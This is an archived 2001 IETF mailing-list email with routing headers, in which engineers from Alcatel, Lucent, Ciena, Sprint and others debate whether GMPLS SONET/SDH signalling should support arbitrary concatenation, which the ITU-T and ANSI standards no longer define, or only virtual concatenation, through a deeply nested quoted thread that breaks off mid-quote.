	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpjz09226;
	Thu, 17 May 2001 11:49:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkpjz22844
	for mpls-outgoing; Thu, 17 May 2001 11:49:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpjz22815
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 11:48:56 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpjz05990
	for <mpls@UU.NET>; Thu, 17 May 2001 11:47:45 GMT
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQkpjz15937
	for <mpls@UU.NET>; Thu, 17 May 2001 11:47:44 GMT
Received: from bemail05.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with SMTP id f4HBl5J12980;
	Thu, 17 May 2001 13:47:05 +0200 (MET DST)
Received: from alcatel.be ([138.203.67.90]) by bemail05.net.alcatel.be (Lotus SMTP MTA v4.6.7  (934.1 12-30-1999)) with SMTP id C1256A4F.0040B6F1; Thu, 17 May 2001 13:46:51 +0200
Message-ID: <3B03BA2A.81A1EBA5@alcatel.be>
Date: Thu, 17 May 2001 13:46:50 +0200
From: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
Organization: Alcatel Bell - IPO NSG
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Maarten Vissers <mvissers@lucent.com>
CC: Michael Waldo <mwwaldo@flash.net>, "Bernstein, Greg" <GregB@ciena.com>,
        "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: Re: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
References: <E7FD0BF66F57D311809C00902785C4CC0305C106@lightera2.csd.ciena.com> <3B030221.FC3702D5@flash.net> <3B03B552.2F2CB96D@lucent.com>
Content-Type: multipart/mixed;
 boundary="------------F906E79E765EDB1E11698AE4"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------F906E79E765EDB1E11698AE4
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Dear Maarten et all,

For "arbitrary contiguous concatenation" you stated (and of course)
i agree it has been removed but the question is: what about existing
equipments it is not because it has been removed from recommendation
that products disappear - can someone confirm the use of arbitrary
contiguous concatenation ? - there is also a difference between "what
the ideal situation should be and what the situation is today in 
SDH/Sonet networks"  

=> ... so i don't really think it is a big issue and the following 
alternative can be used to determine what can be done:
- either we strictly comply to "last versions" of G.707 / T1.105
in that case "arbitrary contiguous concatenation" must be removed
- or we do not strictly comply today then the "arbitrary concatenation"
has to be considered in addition to "arbitrary contiguous 
concatenation" - in that case a submission to the ITU-T/T1 should be
ideally proposed in order to "harmonize" the specifications 
- or we stay as defined today making the assumption that "arbitrary
contiguous concatenation" was included so that some equipments might
still support it.

Any other possibility ?

Regards,
Dimitri.

Maarten Vissers wrote:
> 
> Waldo,
> 
> I am copying an email conversation ongoing in the IP-optical mailing
> list on arbitrary concatenation. Hope this provides the input you are
> looking for.
> 
> Bottom line is that neither arbitrary contiguous concatenation nor
> arbitrary concatenation is part of the SONET/SDH standards. It is a
> vendor proprietary extension of these SONET/SDH standards, for which it
> is in my (and some other peoples) view highly unlikely that it will be
> included in the SONET/SDH standards.
> 
> As you indicate with virtual concatenation being the international
> standard and the direction in the industry today, arbitrary
> concatenation doesn't add anything to the transport network; contrary,
> it would cause interworking problems.
> 
> But arbitrary contiguous concatenation wouldn't add anything either, and
> compared to arbitrary concatenation it would still have the bandwidth
> fragmentation problem that standard contiguous concatenation is having.
> I.e. arbitrary contiguous concatenation is worse.
> 
> All,
> 
> The GMPLS SONET/SDH extension document is thus defining a control plane
> which supports capabilities in the transport plane that are not
> supported by the international standards for this transport plane.
> Personally, I find this very incorrect. IETF has no mandate to change
> the SONET/SDH standards. A control plane for the transport network
> should follow the transport network standards, not define its own
> transport network.
> 
> Regards,
> 
> Maarten
> 
> ---------------
> 
> Maarten Vissers wrote:
> >
> > Greg, Anup, Sanjay,
> >
> > To my recollection, the SONET/SDH definition is performed in T1X1.5 and
> > ITU-T SG15. Last year new revisions of T1.105 and G.707 were approved,
> > in which the "arbitrary contiguous concatenation" has been removed. Such
> > step isn't made just for fun.
> >
> > If you believe the removal of "arbitrary contiguous concatenation" from
> > these standards was a mistake, please submit a contribution to T1X1.5
> > and ITU-T Q.11/15 with a proposal to re-introduce it. At the same time
> > you can then also request to introduce "arbitrary concatenation" and
> > propose mappings of client signals into these arbitrary (contiguous)
> > concatenated signals. However, as indicated by Mark, Juergen and myself,
> > I doubt if you find support for such extension of SONET and SDH.
> >
> > For the moment, SONET/SDH networks compliant with T1.105 and G.707
> > standards can forward "contiguous concatenated" VC-4-Xc (X=4,16,64) and
> > STS-3c/12c/48c/192c signals and "virtual concatenated" VC-n-Xv (n=3,4),
> > STS-1, STS-3c-Xc (X=1..256) and VC-n (n=11,12), VT-1.5-Xv (X=1..64)
> > signals, not the "arbitrary concatenated" signals.
> > Arbitrary concatenation is a proprietary extension of SONET/SDH, for
> > which there is no interworking with standard SONET/SDH networks.
> >
> > Virtual concatenation is THE international standardised direction, for
> > which a vendor and operator may expect to see seemless interworking in
> > the SONET/SDH network.
> >
> > Virtual concatenation got very popular due to the:
> > - pricing of Ethernet ports on routers (compared to pricing of
> > STM-N/OC-N ports on routers),
> > - absence of channelized STM-N/OC-N interface ports on routers.
> >
> > As a result the transport network was forced to accept Ethernet physical
> > interfaces, in additon to the traditional SONET/SDH and PDH interfaces.
> > Transport networking engineers very well understand the desire of a
> > customer to pay only for the bandwidth needed, and consequential within
> > the constraints of the SONET/SDH transport network a solution was
> > developed to meet the needs of the customer and the needs of the
> > operator. This is virtual concatenation with GFP as encapsulation
> > method.
> >
> > Virtual concatenation allows to separate the physical and logical
> > aspects of Ethernet signals, like such is common practice for any other
> > SDH/SONET signal. I.e. the (10M, 100M, 1G) Ethernet PHY signal is
> > terminated, the ethernet idle packets are dropped and the packets with
> > information inside of it are forwarded in a transport pipe sized to the
> > customers need.
> > The additional complexity is the introduction of a (skinny) ehternet
> > layer on top of the SDH/SONET layers, as at a minimum some monitoring is
> > to be performed at the ethernet level.
> >
> > Of course, it would be more economical if the transport network didn't
> > have to do this job. I.e. routers should use STM-N/OC-N interface ports
> > supporting virtual concatenated VC-n/STS/VT signals. The transport
> > network would n't have to deal then with its client signals, and instead
> > of ethernet in the virtual concatenated signals, any other data protocol
> > could be used by the routers (e.g. IP/PPP/GFP).
> >
> > But, while having to do this ethernet processing, extensions are
> > becoming economical in the access transport networks; i.e. having
> > ethernet bridging/switching present, it can be used to groom ethernet
> > traffic to further optimise and thus cost reduce ethernet packet
> > transport. It is now possible to offer sub-VC-n/STS/VT ethernet
> > transport pipes (in addition to the multi-VC-n/STS/VT ) through the
> > SDH/SONET access networks.
> >
> > Regards,
> >
> > Maarten
> >
> > Anup Tirumala wrote:
> > >
> > > If routers can routinely fill TDM pipes fully, why are we even talking
> > > virtual concatenation?
> > >
> > > Arbitrary (or even Virtual) concatenation has the
> > > best bang for buck with packets sharing bandwidth
> > > with TDM. (i.e. in a converged network).
> > >
> > > Indeed, a business case does exist for arbitrary concatenation.
> > > Ask Cyras (now Ciena;)
> > >
> > > You must look at this in conjunction with Network Processors
> > > and statistical multiplexing.
> > >
> > > A customer need only pay for as much bandwidth as he/she needs,
> > > while the remainder can be used for TDM channels.
> > >
> > > We believe the case for arbitrary concatenation does exist:
> > >
> > > 1. scales better with technology.
> > > 2. no massive buffering requirements. (note that virtual concatenation
> > >    does not "guarantee" hit-less operation. with buffering, one can limit
> > >    the hit that's all).
> > > 3. augments native contiguous concatenation. i.e. contiguous concatenation
> > >    becomes a degenerate case of arbitrary concatenation.
> > > 4. A customer explicity asked for it. :)
> > >
> > > I think there is merit to an effort at interoperability.
> > >
> > > -anup
> > >
> > > > -----Original Message-----
> > > > From: Mark.Jones@mail.sprint.com [mailto:Mark.Jones@mail.sprint.com]
> > > > Sent: Tuesday, May 15, 2001 12:36 PM
> > > > To: chickoo66@yahoo.com
> > > > Cc: GregB@ciena.com; ip-optical@lists.bell-labs.com;
> > > > mvissers@lucent.com
> > > > Subject: RE: [IP-Optical] concatenation extensions in sonet/sdh
> > > >
> > > >
> > > > From my perspective, all necessary applications can be met by
> > > > contiguous
> > > > and virtual concatenation.  Adding arbitrary concatenation simply
> > > > increases the number of spares to maintain, the number of
> > > > attributes to
> > > > test for interoperability, and the potential complexity to
> > > > port cards.
> > > > The improved bandwidth efficiency you are going to claim
> > > > won't outweigh
> > > > the problems I see as a result.  Unless you can show a significant
> > > > business driver for this, I would recommend not wasting your
> > > > time trying
> > > > to standardize it.  The trend is to maintain variable size
> > > > connections
> > > > using packets anyway.  Why are we talking about doing this
> > > > with TDM?  I
> > > > find it most interesting that this IETF group is discussing variable
> > > > size TDM pipes, when routers typically can fill a TDM pipe at
> > > > the line
> > > > rate.
> > > >
> > > > Mark Loyd Jones
> > > > Sprint
> > > > Technology Planning & Integration
> > > > 913-534-5247
> > > > mark.jones@mail.sprint.com
> > > >
> > > >
> > > > > -----Original Message-----
> > > > > From: chickoo66 [mailto:chickoo66@yahoo.com]
> > > > > Sent: Tuesday, May 15, 2001 1:47 PM
> > > > > To: GregB; mvissers; ip-optical
> > > > > Cc: chickoo66
> > > > > Subject: RE: [IP-Optical] concatenation extensions in sonet/sdh
> > > > >
> > > > >
> > > > > I could not agree more.
> > > > > Arb-Concatenation, being a logical (and graceful)
> > > > > extension of standard contiguous concatenation,
> > > > > can easily co-exist with virtual.
> > > > > Imagine channels such as 2c,5c,6c,7c... 767c :)
> > > > > However, we need to be able to interoperate
> > > > > with outside-vendor equipments, with regards
> > > > > to the multiplexing scheme.
> > > > > Dr.Berstein/other, do you know of any such
> > > > > interoperating effort on-going?
> > > > > Would any one be interested in interoperability
> > > > > issues pertaining to arb-concat?
> > > > > I emphasize: arb-conc is complementary to virt-concat.
> > > > > Comments?
> > > > > Sanjay
> > > > >
> > > > >
> > > > >
> > > > > --- "Bernstein, Greg" <GregB@ciena.com> wrote:
> > > > > > Folks, please note that Arbitrary concatenation is
> > > > > > not in any of the ITU or
> > > > > > ANSI standards as Maarten points out below.
> > > > > > Maarten my understanding is that GFP can be used
> > > > > > with either standard
> > > > > > contiguous concatenation or virtual concatenation.
> > > > > >
> > > > > > For those interested in arbitrary concatenation for
> > > > > > the standard sizes,
> > > > > > e.g., STS-3c, STS-12c, one can just use the payload
> > > > > > mappings from standard
> > > > > > contiguous concatenation.  A network supporting
> > > > > > arbitrary concatenation can
> > > > > > transport these efficiently with no re-grooming.
> > > > > >
> > > > > > Note that I think SDH/SONET networks can make use of
> > > > > > both virtual and
> > > > > > arbitrary concatenation.
> > > > > > Greg B.
> > > > > >
> > > > > >   Dr. Greg M. Bernstein, Senior Scientist, Ciena
> > > > > >   New phone: (510) 573-2237
> > > > > >
> > > > > >
> > > > > >           -----Original Message-----
> > > > > >           From:   Maarten Vissers [mailto:mvissers@lucent.com]
> > > > > >           Sent:   Tuesday, May 15, 2001 1:06 AM
> > > > > >           To:     Bernstein, Greg; 'ashritha thirumalai';
> > > > > > ip-optical@lists.bell-labs.com
> > > > > >           Subject:        Re: [IP-Optical] concatenation
> > > > > extensions
> > > > > > in
> > > > > > sonet/sdh
> > > > > >
> > > > > >            << File: Card for Maarten Vissers >> Greg,
> > > > > >
> > > > > >           The transport of ethernet signals via SDH/SONET
> > > > > > networks is
> > > > > > being
> > > > > >           defined in T1 and ITU-T to use virtual
> > > > > > concatenation and GFP
> > > > > > for
> > > > > >           encapsulation, not arbitrary concatenation.
> > > > > >
> > > > > >           The transport of SAN signals (ESCON, FC, FICON)
> > > > > > via
> > > > > > SDH/SONET networks
> > > > > >           is being defined in T1 and ITU-T to use virtual
> > > > > > concatenation and GFP
> > > > > >           for encapsulation, not arbitrary concatenation.
> > > > > >
> > > > > >           The transport of ATM signals via SDH/SONET
> > > > > > networks is
> > > > > > defined in T1 and
> > > > > >           ITU-T to use VC-3/STS-1, VC-4/STS-3c,
> > > > > > VC-4-4c/STS-12c,
> > > > > > VC-4-16c/STS-48c,
> > > > > >           VC-4-64c/STS-192c, VC-4-256c/STS-768c and
> > > > > > STS-1-Xv,
> > > > > > VC-4-Xv/STS-3c-Xv.
> > > > > >
> > > > > >           For the case interworking between subnetworks of
> > > > > > different
> > > > > > vendors and
> > > > > >           networks of different operators is required, the
> > > > > > above
> > > > > > signals and
> > > > > >           mappings are to be used.
> > > > > >
> > > > > >           For the case interworking is not required, any
> > > > > > proprietary
> > > > > >           implementation (e.g. arbitrary concatenation) can
> > > > > > be used.
> > > > > >
> > > > > >           Regards,
> > > > > >
> > > > > >           Maarten
> > > > > >
> > > > > >
> > > > > >           Maarten Vissers wrote:
> > > > > >           >
> > > > > >           > Greg, Sanjay,
> > > > > >           >
> > > > > >           > In additon to Juergen's comment, I would like to
> > > > > > point out
> > > > > > that VC-4-2c,
> > > > > >           > VC-4-3c, VC-4-5c, etc are not longer part of the
> > > > > > SDH
> > > > > > hierarchy (G.707
> > > > > >           > 10/2000), and I doubt if the ITU-T community
> > > > > > would like to
> > > > > > re-introduce
> > > > > >           > these signal types given all the hassle the
> > > > > > introduction
> > > > > > of VC-4-4c
> > > > > >           > (with ATM payload) did cause in the past.
> > > > > >           >
> > > > > >           > And as Juergen indicated, real arbitrary
> > > > > > concatenation
> > > > > > would require the
> > > > > >           > mapping of a VC-4-Xc signal in any set of X AU-4
> > > > > > timeslots. As long as
> > > > > >           > you need still a series of contiguous timeslots
> > > > > > (i.e.
> > > > > > arbitrary
> > > > > >           > contiguous concatenation), bandwidth
> > > > > > defragmenation (or
> > > > > > re-grooming) is
> > > > > >           > required once every ...
> > > > > >           >
> > > > > >           > I.e. arbitrary contiguous concatenation (ACC)
> > > > > >           > - still has the same fragmentation issue that is
> > > > > > also
> > > > > > present in today's
> > > > > >           > contiguous concatenation; it is less restrictive
> > > > > > from a
> > > > > > theoretical
> > > > > >           > perspective, but Murphy's law will be
> > > > > > applicable, and the
> > > > > > fragmentation
> > > > > >           > will be such that there is no contiguous set of
> > > > > > AU4
> > > > > > timeslots free
> > > > > >           > normally - i.e. from the distance, there is no
> > > > > > benifit at
> > > > > > all from the
> > > > > >           > operational perspective, perhaps even only a
> > > > > > disadvantage
> > > > > > (more complex
> > > > > >           > provisioning due to more flexibility)
> > > > > >           > - ACC signals can not be routed via most
> > > > > > SDH/SONET
> > > > > > networks.
> > > > > >           >
> > > > > >           > Within the OTN definition work ongoing, the ODUk
> > > > > > multiplexing is
> > > > > >           > intended to be specified with true arbitrary
> > > > > > concatenation. Refer to
> > > > > >           > SP15 of the G.709 living list for the moment.
> > > > > > Later this
> > > > > > week a first
> > > > > >           > ODUk multiplexing text proposal will be issued
> > > > > > towards
> > > > > > ITU-T Q.11/15.
> > > > > >           >
> > > > > >           > Regards,
> > > > > >           >
> > > > > >           > Maarten
> > > > > >           >
> > > > > >           > Heiles Juergen wrote:
> > > > > >           > >
> > > > > >           > > Greg, Sanjay,
> > > > > >           > >
> > > > > >           > > if you build up a new network, if you don't
> > > > > > have to care
> > > > > > about an installed base and if you further can
> > > > > > accept to be restricted to a
> > > > > > single vendor (E.g. signle ring network) arbitary
> > > > > > concatenation could be
> > > > > > fine.
> > > > > >           > > Concerning the upgrade, virtual concatenation
> > > > > > would
> > > > > > often require only a new tributary interface card
> > > > > > (depending on your system
> > > > > > design), not an upgrade of the whole network
> > > > > > element. As you have to install
> > > > > > this new interface card due to the new service (e.g.
> > > > > > 100M/1G Ethernet)in any
> > > > > > case it is not an additional investment.
> > > > > >           > > Greg you mentioned re-grooming as far as I
> > > > > > understand
> > > > > > arbitary (contiguous) concatenation you still need X
> > > > > > contiguous VCs/SPEs.
> > > > > > Only the number X and the starting time slot has no
> > > > > > limitations as it is the
> > > > > > case for standard contiguous cocnatenation. So you
> > > > > > still ahve to do
> > > > > > re-grooming if for example time slots 1, 5 and 6 are
> > > > > > available in an STM-16
> > > > > > signal as these time slots are not contgiguous.
> > > > > > Arbitary concatenation has
> > > > > > less restrictions compared to standard contiguous
> > > > > > concatenation, but still
> > > > > > has restrictions.
> > > > > >           > > Sanjay, you talked about OC3072. We might have
> > > > > > 160
> > > > > > Gbit/s in the future in some parts of the network,
> > > > > > but others are still
> > > > > > running with lower line speeds (e.g. long distance
> > > > > > systems, trans oceanic
> > > > > > systems) as the higher bit rate imposes limitations
> > > > > > in the distance and you
> > > > > > have an isntalled base. With virtual concatenation
> > > > > > it is not a problem to
> > > > > > transport a 160 Gbit/s service (if such a kind of
> > > > > > service is needed in any
> > > > > > case) over 4x40G or 16x10G.
> > > > > >           > > Note that arbitary concatenation was diffcult
> > > > > > to
> > > > > > implement with the chip technology available some
> > > > > > years ago when the
> > > > > > processing was often done in parallel on several
> > > > > > chips. Todays single chip
> > > > > > solutions allowed to introduce arbitary
> > > > > > concatenation. For the size of the
> > > > > > alignment buffer for virtual concatenation it is
> > > > > > also only a question of the
> > > > > > size of available memory chips which will increase
> > > > > > over time.
> > > > > >           > > Sanjay you mentioned that it might be possible
> > > > > > to use
> > > > > > just an SW upgrade for an cross-connect in order to
> > > > > > get arbitary
> > > > > > concatenation support. I don't think so as arbitary
> > > > > > concateantion requries
> > > > > > specific pointer processing which is done in HW.
> > > > > >           > >
> > > > > >           > > Regards
> > > > > >           > >
> > > > > >           > > Juergen
> > > > > >           > >
> > > > > >           > > > -----Original Message-----
> > > > > >           > > > From: Bernstein, Greg [SMTP:GregB@ciena.com]
> > > > > >           > > > Sent: Monday, May 14, 2001 5:55 AM
> > > > > >           > > > To:   'ashritha thirumalai'; Fong, Man Wing;
> > > > > > Maarten
> > > > > > Vissers; Heiles Juergen
> > > > > >           > > > Cc:   ip-optical@lists.bell-labs.com
> > > > > >           > > > Subject:      RE: [IP-Optical] concatenation
> > > > > > extensions in sonet/sdh
> > > > > >           > > >
> > > > > >           > > > Hi Sanjay see comments in line below.
> > > > > >           > > > Greg B.
> > > > > >           > > >
> > > > > >           > > >       Dr. Greg M. Bernstein, Senior
> > > > > > Scientist, Ciena
> > > > > >           > > >       New phone: (510) 573-2237
> > > > > >           > > >
> > > > > >           > > >
> > > > > >           > > >               -----Original Message-----
> > > > > >           > > >               From:   ashritha thirumalai
> > > > > > [mailto:chickoo66@yahoo.com]
> > > > > >           > > >               Sent:   Saturday, May 12, 2001
> > > > > > 9:54 AM
> > > > > >           > > >               To:     Bernstein, Greg; Fong,
> > > > > > Man Wing;
> > > > > > Maarten Vissers;
> > > > > >           > > > Heiles Juergen
> > > > > >           > > >               Cc:
> > > > > > ip-optical@lists.bell-labs.com
> > > > > >           > > >               Subject:        RE:
> > > > > > [IP-Optical]
> > > > > > concatenation extensions in
> > > > > >           > > > sonet/sdh
> > > > > >           > > >
> > > > > >           > > >               Dr. Bernstein,
> > > > > >           > > >
> > > > > >           > > >               Glad you replied.
> > > > > >           > > >
> > > > > >           > > >               A few further questions:
> > > > > >           > > >
> > > > > >           > > >               1. how are two different
> > > > > > vendors
> > > > > > implementing arb-conc
> > > > > >           > > >               going to inter-operate? (i.e.
> > > > > > how are
> > > > > > bytes in
> > > > > >           > > >               an arb-concatenated channel
> > > > > > multiplexed
> > > > > > into the
> > > > > >           > > >               rest of Sonet/SDH timeslots?)
> > > > > >           > > >               > For non-standard sizes this
> > > > > > needs some
> > > > > > work. I'm happy to
> > > > > >           > > > work anyone in this area. Starting with the
> > > > > > standard
> > > > > > sizes isn't a problem
> > > > > >           > > > we just use the already standardized
> > > > > > mappings.
> > > > > >           > > >               2. would you be able to list
> > > > > > some
> > > > > > vendors that
> > > > > >           > > >               do (or claim to) support
> > > > > > arb-concat?
> > > > > >           > > >               > Ciena's CoreDirector for
> > > > > > one. I know
> > > > > > of other vendors but
> > > > > >           > > > I'm not sure if they've publicly announced.
> > > > > >           > > >               3. and a repeat question. why
> > > > > > should one
> > > > > > go with
> > > > > >           > > >               arb-concat when virt-cont
> > > > > > (kludgy as it
> > > > > > may be)
> > > > > >           > > >               has been standardized. (in my
> > > > > > limited
> > > > > > understanding
> > > > > >           > > >               of virt-conc, it does avoid
> > > > > > the
> > > > > > "re-grooming" that
> > > > > >           > > >               you alluded to).
> > > > > >           > > >               > Well virtual concatenation
> > > > > > can do
> > > > > > everything but it>
> > > > > >           > > > requires the edge equipment to be upgraded.
> > > > > > If folks
> > > > > > want to preserve their
> > > > > >           > > > investments around the edge and
> > > > > > incrementally upgrade
> > > > > > the core then any line
> > > > > >           > > > connecting two pieces of equipment
> > > > > > supporting
> > > > > > arbitrary concatenation
> > > > > >           > > > doesn't need to be re-groomed or be used
> > > > > > inefficiently.  Hence it's a good
> > > > > >           > > > feature for core equipment, but maybe not so
> > > > > > hot
> > > > > > compared to virtual
> > > > > >           > > > concatenation at the edge.
> > > > > >           > > >
> > > > > >           > > >               greatly appreciate a reply.
> > > > > >           > > >
> > > > > >           > > >               Thanx,
> > > > > >           > > >               Sanjay.
> > > > > >           > > >
> > > > > >           > > >
> > > > > >           > > >
> > > > > >           > > >
> > > > > >           > > >               --- "Bernstein, Greg"
> > > > > > <GregB@ciena.com>
> > > > > > wrote:
> > > > > >           > > >               > Hi sorry to be out of the
> > > > > > loop for a
> > > > > > while.  Man
> > > > > >           > > >               > Wing's assesment and the
> > > > > >           > > >               > concerns about upgrades are
> > > > > > fairly
> > > > > > correct except:
> > > > > >           > > >               > (1) With the new generation
> > > > > > of
> > > > > > SONET/SDH cross
> > > > > >           > > >               > connects arbitrary is a
> > > > > >           > > >               > feature.  I can think of at
> > > > > > least one
> > > > > > new and very
> > > > > >           > > >               > popular switch that has
> > > > > >           > > >               > this feature.
> > > > > >           > > >               > (2) I also know of access
> > > > > > equipment
> > > > > > vendors that
> > > > > >           > > >               > offer this feature (but not
> > > > > >           > > >               > virtual concatenation).
> > > > > >           > > >               > (3) There is a bit more
> > > > > > fundamental
> > > > > > reason behind
> > > > > >           > > >               > the usefulness of
> > > > > >           > > >               > arbitrary concatenation.
> > > > > > Avoiding the
> > > > > > need to
> > > > > >           > > >               > "re-groom" the circuits on a
> > > > > >           > > >               > line (the nasty service
> > > > > > impacting
> > > > > > process of
> > > > > >           > > >               > remapping circuits to time
> > > > > >           > > >               > slots so that you can add a
> > > > > > new
> > > > > > concatenated circuit
> > > > > >           > > >               > within the standard
> > > > > >           > > >               > contiguous concatenation
> > > > > > constraints).
> > > > > >           > > >               > As to how it got into the
> > > > > > ODSI
> > > > > > specification, the
> > > > > >           > > >               > answer is fairly simple,
> > > > > >           > > >               > folks (including myself)
> > > > > > asked for it
> > > > > > to be
> > > > > >           > > >               > included, just like in the
> > > > > > GMPLS
> > > > > >           > > >               > specification.  I haven't
> > > > > > found a
> > > > > > customer out there
> > > > > >           > > >               > that likes to re-groom
> > > > > >           > > >               > traffic (or the bandwidth
> > > > > > inefficiency
> > > > > > from not
> > > > > >           > > >               > regrooming).
> > > > > >           > > >               >
> > > > > >           > > >               > Greg B.
> > > > > >           > > >               >
> > > > > > ***********************************
> > > > > >           > > >               > Dr. Greg M. Bernstein
> > > > > >           > > >               > Senior Scientist, Ciena
> > > > > > Corporation
> > > > > >           > > >               >
> > > > > >           > > >               > -----Original Message-----
> > > > > >           > > >               > From: ashritha thirumalai
> > > > > >           > > >               > [mailto:chickoo66@yahoo.com]
> > > > > >           > > >               > Sent: Friday, May 11, 2001
> > > > > > 1:50 PM
> > > > > >           > > >               > To: Fong, Man Wing; Maarten
> > > > > > Vissers;
> > > > > > Heiles Juergen
> > > > > >           > > >               > Cc:
> > > > > > ip-optical@lists.bell-labs.com
> > > > > >           > > >               > Subject: RE: [IP-Optical]
> > > > > > concatenation extensions
> > > > > >           > > >               > in sonet/sdh
> > > > > >           > > >               >
> > > > > >           > > >               >
> > > > > >           > > >               > Well, arb-conct is most
> > > > > > really useful
> > > > > > for data
> > > > > >           > > >               > (i.e. Packet-Over-Sonet).
> > > > > > i.e. one can
> > > > > > provide
> > > > > >           > > >               > an STS19c or so for a 1GbE
> > > > > > pipe (as
> > > > > > opposed to
> > > > > >           > > >               > an STS48c as is currently
> > > > > > being done).
> > > > > > This
> > > > > >           > > >               > goal is same as that of
> > > > > > virt-conc.
> > > > > >           > > >               >
> > > > > >           > > >               > I am not really sure how an
> > > > > > interconnection will
> > > > > >           > > >               > be problematic with a DACS?
> > > > > > Could you
> > > > > > elaborate
> > > > > >           > > >               > kindly?
> > > > > >           > > >               >
> > > > > >           > > >               > Thanx,
> > > > > >           > > >               > Sanjay
> > > > > >           > > >               > --- "Fong, Man Wing"
> > > > > > <MFong@WhiteRockNetworks.com>
> > > > > >           > > >               > wrote:
> > > > > >           > > >               > > Hi Sanjay,
> > > > > >           > > >               > >
> > > > > >           > > >               > > Here is my 2 cents worth
> > > > > > of
> > > > > > comments.
> > > > > >           > > >               > >
> > > > > >           > > >               > > 3. arb. conc. as well as
> > > > > > virt. conc.
> > > > > > require
> > > > > >           > > >               > > upgrades
> > > > > >           > > >               > >    at the end points,
> > > > > > since all
> > > > > > systems in a ring
> > > > > >           > > >               > >    will be of the same
> > > > > > vendor
> > > > > > anyway. (i.e. if one
> > > > > >           > > >               > >    system supports arb.
> > > > > > conc. so
> > > > > > will the rest in
> > > > > >           > > >               > >    the ring).
> > > > > >           > > >               > > Not quiet true. There
> > > > > > might be a
> > > > > > problem when
> > > > > >           > > >               > > interconnecting with a
> > > > > > cross
> > > > > >           > > >               > > connect system. For my
> > > > > > understanding, I can't
> > > > > >           > > >               > think
> > > > > >           > > >               > > of any cross connect
> > > > > >           > > >               > > system support arbitrary
> > > > > > concatenation.
> > > > > >           > > >               > >
> > > > > >           > > >               > > Regards,
> > > > > >           > > >               > > Man Wing
> > > > > >           > > >               > >
> > > > > >           > > >               > > -----Original Message-----
> > > > > >           > > >               > > From:       ashritha
> > > > > > thirumalai
> > > > > >           > > >               > >
> > > > > > [mailto:chickoo66@yahoo.com]
> > > > > >           > > >               > > Sent:       Friday, May
> > > > > > 11, 2001
> > > > > > 11:55 AM
> > > > > >           > > >               > > To: Maarten Vissers;
> > > > > > Heiles Juergen
> > > > > >           > > >               > > Cc: 'ashritha thirumalai';
> > > > > >           > > >               > >
> > > > > > ip-optical@lists.bell-labs.com
> > > > > >           > > >               > > Subject:    Re:
> > > > > > [IP-Optical]
> > > > > > concatenation extensions
> > > > > >           > > >               > > in sonet/sdh
> > > > > >           > > >               > >
> > > > > >           > > >               > > Thanks Juergen and Maarten
> > > > > > for you
> > > > > > valuable
> > > > > >           > > >               > > feedback.
> > > > > >           > > >               > >
> > > > > >           > > >               > > Here's my dilemma:
> > > > > >           > > >               > >
> > > > > >           > > >               > > 1. arb. concatenation is a
> > > > > > natural
> > > > > > and elegant
> > > > > >           > > >               > >    extension to sonet/sdh
> > > > > > contigous-concatenation.
> > > > > >           > > >               >
> > > > > >           > > >               > >
> > > > > >           > > >               > > 2. arb. concatenation
> > > > > > scales very
> > > > > > well with rate. >
> > > > > >           > > >               > >    imagine the buffering
> > > > > > required
> > > > > > for OC768 or i
> > > > > >           > > >               > >    dare say, OC3072 in a
> > > > > > framer
> > > > > > device supporting
> > > > > >           > > >               > >    virtual concatenation.
> > > > > > (while an
> > > > > > ANSI draft
> > > > > >           > > >               > >    recommends a minimum of
> > > > > > 1 frame's
> > > > > > worth of
> > > > > >           > > >               > >    buffering, this is
> > > > > > hardly
> > > > > > sufficient. most
> > > > > >           > > >               > people
> > > > > >           > > >               > >    want about 16 frames
> > > > > > worth of
> > > > > > buffering).
> > > > > >           > > >               > >
> > > > > >           > > >               > > 3. in a given ring, it is
> > > > > > virtually
> > > > > > unknown to
> > > > > >           > > >               > >    intermix systems from
> > > > > > two
> > > > > > vendors.
> > > > > >           > > >               > >    therefore, a system
> > > > > > (say and ADM)
> > > > > > supporting
> > > > > >           > > >               > >    arb. concatenation can
> > > > > > gracefully
> > > > > > co-exist with
> > > > > >           > > >               > >    its sibling systems on
> > > > > > the same
> > > > > > ring.
> > > > > >           > > >               > >
> > > > > >           > > >               > > 4. now the question is
> > > > > > what happens
> > > > > > at end-points.
> > > > > >           > > >               >
> > > > > >           > > >               > >    well, the end-points
> > > > > > (especially
> > > > > > the receive)
> > > > > >           > > >               > >    will have to support
> > > > > > arb
> > > > > > concatenation.
> > > > > >           > > >               > >    (if there is a cross
> > > > > > connect, it
> > > > > >           > > >               > >    could possibly be
> > > > > > handled by
> > > > > > software alone).
> > > > > >           > > >               > >
> > > > > >           > > >               > >    On the other hand,
> > > > > > virtual
> > > > > > concatenation will
> > > > > >           > > >               > >    need support as well at
> > > > > > the
> > > > > > end-points. i.e.
> > > > > >           > > >               > >    current systems will
> > > > > > need to be
> > > > > > upgraded.
> > > > > >           > > >               > >
> > > > > >           > > >               > > my summary (i hope you
> > > > > > will critique
> > > > > > this):
> > > > > >           > > >               > >
> > > > > >           > > >               > > 1. arb. conc. is a more
> > > > > > elegant
> > > > > > solution.
> > > > > >           > > >               > > 2. arb. conc. scales quite
> > > > > > well with
> > > > > > rate, while
> > > > > >           > > >               > >    vir. conc. gets uglier
> > > > > > and uglier
> > > > > > to implement.
> > > > > >           > > >               >
> > > > > >           > > >               > > 3. arb. conc. as well as
> > > > > > virt. conc.
> > > > > > require
> > > > > >           > > >               > > upgrades
